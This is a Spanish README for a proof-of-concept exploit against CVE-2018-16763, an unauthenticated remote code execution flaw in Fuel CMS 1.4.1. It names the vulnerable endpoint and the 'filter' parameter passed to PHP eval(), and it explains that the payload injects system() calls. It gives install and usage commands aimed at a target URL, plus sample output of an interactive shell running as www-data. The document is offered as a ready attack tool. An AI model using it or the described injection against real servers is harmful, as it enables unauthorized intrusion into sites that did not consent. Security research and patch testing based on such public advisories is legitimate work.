CVE-2018-16763 — Fuel CMS 1.4.1 Ejecución Remota de Código (PoC)

Vulnerabilidad de RCE no autenticada en Fuel CMS 1.4.1. El parámetro filter en el endpoint /fuel/pages/select/ se pasa sin saneamiento a una llamada a eval() en el backend de PHP, lo que permite la ejecución arbitraria de código mediante un payload manipulado. A diferencia de las inyecciones ciegas, la salida se refleja directamente en la respuesta HTTP, por lo que no se necesita ningún archivo intermedio.

Cómo funciona

1. Envía una solicitud GET a /fuel/pages/select/ con un payload filter especialmente manipulado que llama a system() de PHP con el comando deseado.
2. Analiza la salida reflejada de la respuesta HTTP utilizando un patrón de expresión regular.
3. Devuelve la salida del comando directamente al shell interactivo.

Requisitos

• Python 3
• Instalar dependencias:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

Uso

python3 exploit.py -t http://TARGET

Ejemplo:

$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data
Shell> hostname
fuel-cms
Shell> exit

Referencias

• CVE-2018-16763
• EDB-47138

Créditos

• Descubrimiento y exploit original: Syed Sheeraz Ali
• Limpieza y shell interactivo: Esteban Zárate